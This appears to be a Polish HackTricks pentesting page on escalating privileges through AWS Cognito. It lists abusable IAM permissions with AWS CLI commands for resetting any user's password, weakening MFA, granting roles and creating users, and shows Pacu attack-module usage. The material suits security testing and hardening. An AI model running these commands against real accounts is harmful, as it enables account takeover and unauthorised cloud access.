AWS - Cognito Privesc

Support HackTricks

Cognito

Aby uzyskać więcej informacji na temat Cognito, sprawdź:

AWS - Cognito Enum

Zbieranie poświadczeń z Identity Pool

Ponieważ Cognito może przyznać poświadczenia roli IAM zarówno uwierzytelnionym, jak i nieuwierzytelnionym użytkownikom, jeśli znajdziesz ID Identity Pool aplikacji (powinno być zakodowane w niej), możesz uzyskać nowe poświadczenia, a tym samym privesc (w ramach konta AWS, na którym prawdopodobnie nie miałeś wcześniej żadnych poświadczeń).

Aby uzyskać więcej informacji, sprawdź tę stronę.

Potencjalny wpływ: Bezpośredni privesc do roli usługowej przypisanej do użytkowników nieautoryzowanych (a prawdopodobnie także do tej przypisanej do użytkowników autoryzowanych).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Dzięki temu uprawnieniu możesz przyznać dowolną rolę cognito uwierzytelnionym/nieuwierzytelnionym użytkownikom aplikacji cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Jeśli aplikacja cognito nie ma włączonych użytkowników nieautoryzowanych, możesz również potrzebować uprawnienia cognito-identity:UpdateIdentityPool, aby je włączyć.

Potencjalny wpływ: Bezpośrednie privesc do dowolnej roli cognito.

cognito-identity:update-identity-pool

Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, w którym może się zalogować jako sposób na uzyskanie dostępu do tej Cognito Identity Pool. Następnie, po prostu zalogowanie się na tym dostawcy użytkowników pozwoli mu uzyskać dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Możliwe jest również nadużycie tego uprawnienia, aby zezwolić na podstawową autoryzację:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potencjalny wpływ: Kompromitacja skonfigurowanej uwierzytelnionej roli IAM w obrębie puli tożsamości.

cognito-idp:AdminAddUserToGroup

To uprawnienie pozwala na dodanie użytkownika Cognito do grupy Cognito, dlatego atakujący mógłby nadużyć tego uprawnienia, aby dodać użytkownika pod swoją kontrolą do innych grup z lepszymi uprawnieniami lub innymi rolami IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potencjalny wpływ: Privesc do innych grup Cognito i ról IAM przypisanych do grup User Pool.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Napastnik z tymi uprawnieniami mógłby tworzyć/aktualizować grupy z każdą rolą IAM, która może być używana przez skompromitowanego dostawcę tożsamości Cognito i uczynić skompromitowanego użytkownika częścią grupy, uzyskując dostęp do wszystkich tych ról:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potencjalny wpływ: Privesc do innych ról IAM Cognito.

cognito-idp:AdminConfirmSignUp

To uprawnienie pozwala na potwierdzenie rejestracji. Domyślnie każdy może zalogować się do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potencjalny wpływ: Pośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników, jeśli możesz zarejestrować nowego użytkownika. Pośrednie privesc do innych funkcji aplikacji, mogąc potwierdzić jakiekolwiek konto.

cognito-idp:AdminCreateUser

To uprawnienie pozwoliłoby atakującemu na utworzenie nowego użytkownika w obrębie puli użytkowników. Nowy użytkownik jest tworzony jako aktywny, ale będzie musiał zmienić swoje hasło.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potencjalny wpływ: Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc stworzyć dowolnego użytkownika.

cognito-idp:AdminEnableUser

Te uprawnienia mogą pomóc w bardzo skrajnym przypadku, w którym atakujący znalazł dane uwierzytelniające wyłączonego użytkownika i musi ponownie je włączyć.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potencjalny wpływ: Pośrednie podniesienie uprawnień do roli IAM puli tożsamości dla uwierzytelnionych użytkowników i uprawnień użytkownika, jeśli atakujący miałby poświadczenia dla wyłączonego użytkownika.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

To uprawnienie pozwala na logowanie się za pomocą metody ADMIN_USER_PASSWORD_AUTH. Aby uzyskać więcej informacji, kliknij w link.

cognito-idp:AdminSetUserPassword

To uprawnienie pozwoliłoby atakującemu na zmianę hasła dowolnego użytkownika, co umożliwiłoby mu podszywanie się pod dowolnego użytkownika (który nie ma włączonego MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potencjalny wpływ: Bezpośredni privesc do potencjalnie dowolnego użytkownika, co daje dostęp do wszystkich grup, do których należy każdy użytkownik, oraz dostęp do roli IAM uwierzytelnionej w Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Napastnik mógłby potencjalnie nadużyć tego uprawnienia, aby ustawić telefon komórkowy pod swoją kontrolą jako SMS MFA użytkownika.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Podobnie jak w poprzednim przypadku, to uprawnienie może być używane do ustawiania preferencji MFA użytkownika w celu ominięcia ochrony MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Podobnie jak w poprzednim przypadku, to uprawnienie może być używane do ustawiania preferencji MFA puli użytkowników w celu ominięcia ochrony MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Możliwe jest również zaktualizowanie puli użytkowników, aby zmienić politykę MFA. Sprawdź cli tutaj.

Potential Impact: Pośrednie privesc do potencjalnie dowolnego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA.

cognito-idp:AdminUpdateUserAttributes

Atakujący z tym uprawnieniem mógłby zmienić adres e-mail lub numer telefonu lub jakikolwiek inny atrybut użytkownika pod jego kontrolą, aby spróbować uzyskać więcej uprawnień w aplikacji bazowej. To pozwala na zmianę adresu e-mail lub numeru telefonu i ustawienie go jako zweryfikowanego.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potencjalny wpływ: Potencjalne pośrednie privesc w podstawowej aplikacji korzystającej z Cognito User Pool, która przyznaje uprawnienia na podstawie atrybutów użytkownika.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Napastnik z tym uprawnieniem mógłby utworzyć nowego klienta User Pool mniej restrykcyjnego niż już istniejące klienty puli. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów...

To samo można zrobić, jeśli zamiast tworzenia nowego klienta, zmodyfikowany jest istniejący.

W wierszu poleceń (lub aktualizacji) możesz zobaczyć wszystkie opcje, sprawdź to!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potencjalny wpływ: Potencjalne pośrednie privesc do użytkownika autoryzowanego w Identity Pool używanego przez User Pool poprzez utworzenie nowego klienta, który łagodzi środki bezpieczeństwa i umożliwia atakującemu zalogowanie się jako użytkownik, którego był w stanie utworzyć.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Atakujący mógłby nadużyć tej uprawnienia, aby tworzyć użytkowników, przesyłając plik csv z nowymi użytkownikami.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(W przypadku, gdy tworzysz nowe zadanie importu, możesz również potrzebować uprawnienia iam passrole, jeszcze tego nie testowałem).

Potencjalny wpływ: Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Napastnik mógłby utworzyć nowego dostawcę tożsamości, aby móc zalogować się przez tego dostawcę.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potencjalny wpływ: Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.

cognito-sync:* Analiza

To bardzo powszechne uprawnienie domyślnie w rolach Cognito Identity Pools. Nawet jeśli użycie znaku wieloznacznego w uprawnieniach zawsze wygląda źle (szczególnie w przypadku AWS), przyznane uprawnienia nie są super przydatne z perspektywy atakującego.

To uprawnienie pozwala na odczyt informacji o użytkownikach Puli Tożsamości i identyfikatorach tożsamości w Puli Tożsamości (co nie jest informacją wrażliwą). Identyfikatory tożsamości mogą mieć przypisane Zbiory Danych, które są informacjami o sesjach (AWS definiuje to jako zapisana gra). Może się zdarzyć, że zawierają one pewne wrażliwe informacje (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na stronie enumeracji jak uzyskać dostęp do tych informacji.

Atakujący mógłby również wykorzystać te uprawnienia do zapisania się do strumienia Cognito, który publikuje zmiany w tych zbiorach danych lub lambdy, która wyzwala się na zdarzenia Cognito. Nie widziałem, aby to było używane, i nie spodziewałbym się tutaj wrażliwych informacji, ale nie jest to niemożliwe.

Narzędzia automatyczne

  • Pacu, framework do eksploatacji AWS, teraz zawiera moduły "cognito__enum" i "cognito__attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) i eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń puli tożsamości, ról, które można przyjąć w tokenach id itp.

Aby uzyskać opis funkcji modułów, zobacz część 2 postu na blogu. Aby uzyskać instrukcje instalacji, zobacz główną stronę Pacu.

Użycie

Przykład użycia cognito__attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i klientowi puli użytkowników:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Przykład użycia cognito__enum do zebrania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner to narzędzie CLI w Pythonie, które implementuje różne ataki na Cognito, w tym eskalację uprawnień.

Instalacja

$ pip install cognito-scanner

Użycie

$ cognito-scanner --help

Aby uzyskać więcej informacji, sprawdź https://github.com/padok-team/cognito-scanner

Wsparcie HackTricks

Last updated